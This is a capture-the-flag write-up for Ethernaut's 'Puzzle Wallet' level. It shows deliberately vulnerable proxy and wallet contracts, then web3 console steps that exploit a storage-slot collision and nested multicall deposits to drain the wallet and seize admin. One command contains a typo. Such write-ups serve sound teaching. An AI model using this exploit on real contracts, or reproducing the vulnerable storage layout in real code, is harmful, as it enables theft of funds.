Ethernaut Level 24: Puzzle Wallet

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

Requirements

  1. Become the admin of the proxy.

Concepts

Hack

From our understanding of storage collisions in with Proxy Patterns, we notice the following problems.

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin; // Storage slot 0
    address public admin; // Storage slot 1
contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner; // Storage slot 0
    uint256 public maxBalance; // Storage slot 1

The PuzzleProxy and PuzzleWallet contracts have storage collisions that we can exploit. Notice that maxBalance is in the same slot as admin. Therefore, if we are able to modify maxBalance we can make ourselves the admin. The variable maxBalance can be modified using

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}

However, to execute the function we must be whitelisted and have the balance equal to 0.

First, notice that

function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}

requires that we are the owner of PuzzleWallet. By inspection, we know that owner is in the same slot as pendingAdmin. And we can easily modify that variable using proposeNewAdmin.

Next, we attempt to set the balance equal to 0. This can be done using

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] = balances[msg.sender].sub(value);
    (bool success, ) = to.call{ value: value }(data);
    require(success, "Execution failed");
}

However, we can only withdraw amounts that we have deposited. More specifically, we need our balances[player] be greater than or equal to the total balance of the contract. This can be done by calling deposit with the same msg.value multiple times in the same transaction. This increases balances[player] without actually sending more ether. We can exploit multicall to call deposit multiple times in the same transaction. However, notice that

bytes4 selector;
assembly {
    selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
    require(!depositCalled, "Deposit can only be called once");
    // Protect against reusing msg.value
    depositCalled = true;
}

there is a check to ensure that deposit is only called once per transaction. A workaround is that we call multicall that calls multiple multicalland each has their own deposit call.

Solution

First, let us make ourselves the owner in PuzzleWallet by calling proposeNewAdmin in PuzzleProxy. We can do this by encoding the signature of the function and sending a transaction to the contract. We do this in the console.

proposeNewAdmin = {
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: '_newAdmin'
        }
    ]
}
data = web3.eth.abi.encodeFunctionCall(proposeNewAdmin, [player])
await web3.eth.sendTransaction({from: player, to: instance, data})

We then check that we are indeed the owner of the contract.

await contract.owner()

Next, we add our address to the whitelisted mapping.

await.contract.addToWhitelist(player)

Before we proceed, let us first check what is the total balance of the contract.

await getBalance(contract.address)
> 0.001

We then do a multicall that calls 2 multicall each with a deposit call and a value of 0.001. This would make balances[player] = 0.002 but only 0.001 was actually sent to the contract. We first get the function encodings of deposit and multicall.

depositData = await contract.methods["deposit()"].request().then(req => req.data)
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(req => req.data)

Next, we call multicall with 2 multicall.

await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})

Finally, we call execute and withdraw 0.002 ether. Note that we send an empty data byte.

await contract.execute(player, toWei('0.002'), 0x0)

Then we check the balance of the contract.

await getBalance(contract.address)

Lastly, we call setMaxBalance so that we can override admin.

await contract.setMaxBalance(player)

Done!